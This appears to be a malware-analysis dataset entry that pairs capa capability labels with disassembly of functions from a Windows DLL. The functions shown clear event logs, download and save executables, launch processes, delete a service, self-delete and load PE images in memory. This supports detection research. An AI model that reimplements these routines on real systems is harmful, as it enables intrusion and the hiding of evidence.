joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005550
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
dec eax
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
cmp eax, 3
ja case.default.0x10005575
jmp dword [eax*4 + 0x100055dc]
mov eax, 0x10015e28
mov dword [ebp - 4], eax
jmp 0x1000559b
mov eax, 0x10015e28
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
jmp case.0x10005575.1
mov eax, 0x10015e28
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push esi
push edi
xor edi, edi
lea esp, [esp]
mov eax, dword [ebp + edi*4 - 0xc]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x100055cf
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc edi
cmp edi, 3
jb 0x100055b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100055f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
push 0x400
lea eax, [ebp - 0x428]
push 0
push eax
call fcn.10008330
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x428]
push eax
mov dword [ebp - 0x28], 0x54535953
mov dword [ebp - 0x24], 0x435c4d45
mov dword [ebp - 0x20], 0x65727275
mov dword [ebp - 0x1c], 0x6f43746e
mov dword [ebp - 0x18], 0x6f72746e
mov dword [ebp - 0x14], 0x7465536c
mov dword [ebp - 0x10], 0x7265535c
mov dword [ebp - 0xc], 0x65636976
mov dword [ebp - 8], 0x73255c73
mov byte [ebp - 4], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [ebp + 0x10]
add esp, 0x18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp + 0xc]
push eax
push esi
push 1
push ecx
lea edx, [ebp - 0x428]
push edx
push closesocket
call fcn.100076d0
add esp, 0x1c
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100056d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
push edx
mov dword [ebp - 0x10], 0x6e6e6f43
mov dword [ebp - 0xc], 0x47746365
mov dword [ebp - 8], 0x70756f72
mov byte [ebp - 4], 0
call fcn.100055f0
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x10005710
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x554
push esi
push edi
push 0x104
lea eax, [ebp - 0x158]
push 0
push eax
call fcn.10008330
mov edi, dword [ebp + 8]
add esp, 0xc
cmp byte [edi], 0
mov esi, edi
je 0x10005746
jmp 0x10005740
inc esi
cmp byte [esi], 0
jne 0x10005740
mov ecx, esi
dec esi
cmp ecx, edi
je 0x1000578e
cmp byte [esi], 0x2e
jne 0x10005746
push 0x103
lea edx, [ebp - 0x25b]
push 0
push edx
mov byte [ebp - 0x25c], 0
call fcn.10008330
add esp, 0xc
cmp byte [esi], 0
mov eax, esi
je 0x10005780
inc eax
cmp byte [eax], 0
jne 0x10005776
lea esp, [esp]
mov ecx, eax
dec eax
cmp ecx, esi
je 0x1000579b
cmp byte [eax], 0x20
jne 0x10005780
jmp 0x100057a0
cmp byte [esi], 0x2e
je 0x10005752
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
cmp byte [eax], 0x20
jne 0x100057d3
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100057a5
sub eax, edx
dec eax
test eax, eax
jle 0x100057e1
cmp byte [esi + eax], 0x20
je 0x100057c0
dec eax
test eax, eax
jg 0x100057b3
jmp 0x100057e1
push eax
lea edx, [ebp - 0x25c]
push esi
push edx
call fcn.10007690
add esp, 0xc
jmp 0x100057e1
push esi
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0x104
push 0
lea ecx, [ebp - 0x158]
push ecx
push 1
push 0
lea edx, [ebp - 0x25c]
push edx
push closesocket
call fcn.10007410
add esp, 0x20
test eax, eax
je 0x10005793
push 0x1f4
lea eax, [ebp - 0x554]
push 0
push eax
call fcn.10008330
lea ecx, [ebp - 0x158]
push ecx
lea edx, [ebp - 0x554]
push str._s_shellopencommand
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x104
lea eax, [ebp - 0x158]
push 0
push eax
call fcn.10008330
push 0x103
lea ecx, [ebp - 0x35f]
push 0
push ecx
mov byte [ebp - 0x360], 0
call fcn.10008330
push 0
push 0x104
push 0
lea edx, [ebp - 0x360]
push edx
push 2
push 0
lea eax, [ebp - 0x554]
push eax
push closesocket
call fcn.10007410
add esp, 0x50
test eax, eax
je 0x10005793
push 0x104
lea ecx, [ebp - 0x158]
push ecx
lea edx, [ebp - 0x360]
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x158]
push 0x100162f4
push eax
call fcn.10008690
add esp, 8
test eax, eax
jne 0x100058ff
lea ecx, [ebp - 0x158]
push 0x100162f0
push ecx
call fcn.10008690
add esp, 8
test eax, eax
jne 0x100058ff
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100154f8
lea edx, [ebp - 0x158]
push edx
call esi
push edi
lea eax, [ebp - 0x158]
push eax
call esi
jmp 0x10005907
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40
lea ecx, [ebp - 0x40]
push 0
push ecx
call fcn.10008330
add esp, 0xc
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x44], 0x44
je 0x1000592d
mov dword [ebp - 0x3c], str.WinSta0Default
jmp 0x1000593a
xor edx, edx
mov dword [ebp - 0x18], 1
mov word [ebp - 0x14], dx
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x44]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x158]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10005970
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x167
lea eax, [ebp - 0x2d7]
push 0
mov ecx, 0x5c
mov esi, ebx
lea edi, [ebp - 0x170]
push eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x2d8], 0
call fcn.10008330
add esp, 0xc
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea ecx, [ebp - 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100059d4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
push 0
lea edx, [ebp + 8]
push edx
add eax, 0xfffffe90
push eax
add ebx, 0x170
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100059cb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x168]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10005a05
sub eax, edx
je 0x10005a32
lea ecx, [ebp - 0x168]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x2d8]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x10005a43
lea ecx, [ebp - 0x64]
push ecx
lea edx, [ebp - 0x2d8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x16c]
sub eax, 0
je 0x10005a8e
dec eax
je 0x10005a71
sub eax, 2
jne 0x10005a9f
call fcn.10004310
pop edi
pop esi
mov dword [0x1001d2b0], 1
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x2d8]
push 0
push eax
call fcn.10005710
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x2d8]
push 5
push ecx
call fcn.10005710
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10005be0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
push esi
mov esi, dword [ebp + 8]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10005bf2
sub eax, edx
je 0x10005cc9
push 0x104
lea eax, [ebp - 0x15c]
push 0
push eax
call fcn.10008330
push 0
push 0x104
push 0
lea ecx, [ebp - 0x15c]
push ecx
push 1
push 0
push str.Applicationsiexplore.exe_shellopencommand
push closesocket
call fcn.10007410
add esp, 0x2c
test eax, eax
je 0x10005cc9
lea edx, [ebp - 0x15c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10005cc9
lea eax, [ebp - 0x15c]
push 0x100162f0
push eax
call fcn.10008690
add esp, 8
test eax, eax
je 0x10005cc9
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40
lea ecx, [ebp - 0x44]
push 0
push ecx
call fcn.10008330
add esp, 0xc
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x48], 0x44
je 0x10005c99
mov dword [ebp - 0x40], str.WinSta0Default
jmp 0x10005ca6
xor edx, edx
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], dx
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x48]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x15c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10005cd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push ebx
push esi
push edi
xor eax, eax
mov ebx, 1
push str.wininet.dll
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call edi
push 0
push 0
push 0
push 0
push str.MSIE_6.0
call eax
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x10005d31
test esi, esi
je 0x10005d28
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push str.InternetOpenUrlA
push esi
call edi
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
push 0
push closesocket
push 0
push 0
push ecx
push edx
call eax
mov dword [ebp - 0xc], eax
test eax, eax
je 0x10005d1d
mov eax, dword [ebp + 0xc]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x10005df7
lea ebx, [ebx]
push 0x400
lea ecx, [ebp - 0x418]
push 0
push ecx
call fcn.10008330
add esp, 0xc
push str.InternetReadFile
push esi
call edi
lea edx, [ebp - 8]
push edx
mov edx, dword [ebp - 0xc]
push 0x400
lea ecx, [ebp - 0x418]
push ecx
push edx
call eax
test ebx, ebx
je 0x10005dc6
mov eax, 0x5a4d
cmp word [ebp - 0x418], ax
jne 0x10005de9
mov edx, dword [ebp - 8]
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x18]
push ecx
mov ecx, dword [ebp - 0x14]
push edx
lea eax, [ebp - 0x418]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], ebx
ja 0x10005d80
jmp 0x10005ded
mov byte [ebp - 1], 0
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call edi
mov edi, eax
mov eax, dword [ebp - 0xc]
push eax
call edi
mov ecx, dword [ebp - 0x10]
push ecx
call edi
test esi, esi
je 0x10005e20
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006120
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x158]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10006286
push 0x104
lea ecx, [ebp - 0x158]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x10006286
push 0x104
lea eax, [ebp - 0x360]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x10006286
push str.__c_del
lea ecx, [ebp - 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x158]
push edx
lea eax, [ebp - 0x25c]
push eax
call esi
push str.___nul
lea ecx, [ebp - 0x25c]
push ecx
call esi
lea edx, [ebp - 0x25c]
push edx
lea eax, [ebp - 0x360]
push eax
call esi
push 0x40
lea ecx, [ebp - 0x50]
push 0
push ecx
call fcn.10008330
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor eax, eax
add esp, 0xc
xor edx, edx
push pe_nt_image_headers32
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], dx
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x54]
push ecx
push 0
push 0
push 0xc
push 0
push 0
push 0
lea edx, [ebp - 0x360]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10006274
mov eax, dword [ebp - 0x10]
push 0x40
push eax
call esi
mov ecx, dword [ebp - 0xc]
push 0xfffffffffffffff1
push ecx
call edi
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push 0x20
call ebx
push eax
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006290
Capabilities:
Contain obfuscated stackstrings
Delete file
Delete service
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.Rswucc_cwqcakyc
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x104
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x114]
push edx
mov dword [ebp - 0x10], 0x6665445c
mov dword [ebp - 0xc], 0x746c7561
mov dword [ebp - 8], 0x79656b2e
mov byte [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.10006120
push 0
call fcn.1000862d
int3
Function at 0x10006ea0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x10006eb7
xor eax, eax
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp dword [ebx], 0x4550
je 0x10006ecc
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebx + 0x50]
mov eax, dword [ebx + 0x34]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x2000
push edx
push eax
call esi
mov edi, eax
test edi, edi
jne 0x10006f03
mov ecx, dword [ebx + 0x50]
push 4
push 0x2000
push ecx
push eax
call esi
mov edi, eax
test edi, edi
je 0x10006fbe
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov edx, dword [ebx + 0x50]
push 0x1000
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [ebx + 0x54]
push 4
push 0x1000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp + 8]
mov edx, dword [ebx + 0x54]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 4], eax
push edx
push ecx
push eax
call fcn.10007ae0
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 4]
push esi
push ebx
mov dword [esi], eax
push ecx
mov dword [eax + 0x34], edi
call fcn.100069e0
mov eax, edi
add esp, 0x18
sub eax, dword [ebx + 0x34]
je 0x10006f87
push eax
mov eax, esi
call fcn.10006b60
add esp, 4
push esi
call fcn.10006bf0
add esp, 4
test eax, eax
je 0x10006fb5
push esi
call fcn.10006a90
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
add esp, 4
test eax, eax
je 0x10006fce
add eax, edi
je 0x10006fb5
push 0
push 1
push edi
call eax
test eax, eax
jne 0x10006fc7
push esi
call fcn.10006e10
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x10], 1
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006fe0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018b70
push 0x100090c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x128
push ebx
push esi
push edi
push str.user32.dll
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebx
mov edi, eax
mov dword [ebp - 0x24], edi
push str.GetThreadDesktop
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x30], eax
push str.GetUserObjectInformationA
push edi
call esi
mov dword [ebp - 0x28], eax
push str.SetThreadDesktop
push edi
call esi
mov dword [ebp - 0x34], eax
push str.CloseDesktop
push edi
call esi
mov dword [ebp - 0x20], eax
push str.kernel32.dll
call ebx
mov ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x100163f8
push ebx
call esi
call eax
push eax
call dword [ebp - 0x30]
mov esi, eax
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0
lea eax, [ebp - 0x38]
push eax
push pe_nt_image_headers32
lea ecx, [ebp - 0x138]
push ecx
push 2
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x28]
test eax, eax
jne 0x1000709a
mov dword [ebp - 0x1c], 0
jmp 0x100070a9
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x34]
test eax, eax
je 0x10007091
push esi
call dword [ebp - 0x20]
mov dword [ebp - 4], 0xffffffff
call fcn.100070cf
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100071c0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push 0x100164e4
mov byte [ebp - 1], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push 0x100164d0
push edi
call esi
push 0x100164b8
push edi
mov dword [ebp - 0xc], eax
call esi
push 0x100164a0
push edi
mov dword [ebp - 0x14], eax
call esi
push str.kernel32.dll
mov dword [ebp - 0x10], eax
call ebx
push 0x100154c0
push eax
mov dword [ebp - 0x18], eax
call esi
lea ecx, [ebp - 8]
push ecx
push 0x28
call eax
push eax
call dword [ebp - 0xc]
test eax, eax
jne 0x1000722c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
neg edx
lea eax, [ebp - 0x24]
push eax
sbb edx, edx
push ecx
and edx, 2
push 0
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], edx
call dword [ebp - 0x10]
mov eax, dword [ebp - 8]
push 0
push 0
push 0x10
lea edx, [ebp - 0x28]
push edx
push 0
push eax
call dword [ebp - 0x14]
push 0x10015f14
call ebx
push 0x10016490
push eax
call esi
call eax
test eax, eax
je 0x10007279
xor bl, bl
jmp 0x1000727c
mov bl, byte [ebp - 1]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x10007293
push edi
call esi
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1000729d
push eax
call esi
pop edi
pop esi
movzx eax, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007370
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10007391
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x10007391
xor eax, eax
pop ebp
ret
mov eax, 1
pop ebp
ret
Function at 0x100076d0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018ba0
push 0x100090c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x20], 0
push 0x100164e4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov dword [ebp - 0x34], edi
push str.RegCreateKeyExA
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x28], eax
push 0x1001656c
push edi
call esi
mov dword [ebp - 0x24], eax
push str.RegDeleteKeyA
push edi
call esi
mov dword [ebp - 0x2c], eax
push str.RegDeleteValueA
push edi
call esi
mov dword [ebp - 0x30], eax
push 0x10016528
push edi
call esi
mov ebx, eax
push 0x100164fc
push edi
call esi
mov dword [ebp - 0x38], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.0x100077c6.3
jmp dword [eax*4 + 0x10007894]
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x1c]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x28]
test eax, eax
jne case.0x100077c6.3
lea ecx, [ebp - 0x1c]
push ecx
push 0x2001f
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call ebx
test eax, eax
jne case.0x100077c6.3
mov esi, dword [ebp + 0x14]
lea eax, [esi - 1]
cmp eax, 6
ja case.0x100077c6.3
movzx ecx, byte [eax + 0x100078b0]
jmp dword [ecx*4 + 0x100078a4]
mov ebx, dword [ebp + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push ebx
push esi
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [ebp - 0x24]
jmp 0x1000784a
push 4
lea ecx, [ebp + 0x1c]
push ecx
push esi
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [ebp - 0x24]
jmp 0x1000784a
lea ecx, [ebp - 0x1c]
push ecx
push 0x2001f
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call ebx
test eax, eax
jne case.0x100077c6.3
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [ebp - 0x2c]
jmp 0x1000784a
lea eax, [ebp - 0x1c]
push eax
push 0x2001f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call ebx
test eax, eax
jne case.0x100077c6.3
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [ebp - 0x30]
test eax, eax
jne case.0x100077c6.3
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], 0xffffffff
call fcn.10007883
test edi, edi
je 0x1000786c
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007900
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
push esi
push 0
push 0
push 0
push 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [ebp + 0x1c]
push edx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
push 0x100078c0
push edx
push eax
call fcn.1000940b
mov ecx, dword [ebp - 4]
add esp, 0x18
push 0xffffffffffffffff
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10008dc1
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x10008de8
call fcn.1000bf36
mov dword [eax], esi
call fcn.1000bf23
push 0x16
pop esi
mov dword [eax], esi
call fcn.1000bed1
mov eax, esi
jmp 0x10008e3d
test dword [ebp + 0xc], 0xfffffff9
jne 0x10008dce
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10008e15
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.1000bf49
pop ecx
call fcn.1000bf23
mov eax, dword [eax]
jmp 0x10008e3d
test al, 0x10
jne 0x10008e3b
test al, 1
je 0x10008e3b
test byte [ebp + 0xc], 2
je 0x10008e3b
call fcn.1000bf36
mov dword [eax], 5
call fcn.1000bf23
mov dword [eax], 0xd
jmp 0x10008e0c
xor eax, eax
pop esi
pop ebp
ret

Function at 0x1000b130
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001bce0]
jne 0x1000b13a
repz ret
jmp fcn.100100cf